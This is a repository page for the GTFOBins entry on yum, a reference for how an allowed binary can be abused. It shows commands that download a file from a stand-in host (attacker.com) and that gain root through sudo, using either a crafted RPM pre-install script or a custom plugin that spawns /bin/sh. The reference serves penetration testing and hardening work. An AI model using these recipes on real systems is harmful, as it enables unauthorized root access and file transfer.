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GTFOBins.github.io/_gtfobins/yum.md
2020-10-02 20:22:06 +02:00

1.4 KiB

functions
file-download sudo
description code
Fetch a remote file via HTTP GET request. The file on the remote host must have an extension of `.rpm`, the content does not have to be an RPM file. The file will be downloaded to a randomly created directory in `/var/tmp`, for example `/var/tmp/yum-root-cR0O4h/`. RHOST=attacker.com RFILE=file_to_get.rpm yum install http://$RHOST/$RFILE
description code
It runs commands using a specially crafted RPM package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target. ``` TF=$(mktemp -d) echo 'id' > $TF/x.sh fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF ``` sudo yum localinstall -y x-1.0-1.noarch.rpm
description code
Spawn interactive root shell by loading a custom plugin. TF=$(mktemp -d) cat >$TF/x<<EOF [main] plugins=1 pluginpath=$TF pluginconfpath=$TF EOF cat >$TF/y.conf<<EOF [main] enabled=1 EOF cat >$TF/y.py<<EOF import os import yum from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE requires_api_version='2.1' def init_hook(conduit): os.execl('/bin/sh','/bin/sh') EOF sudo yum -c $TF/x --enableplugin=y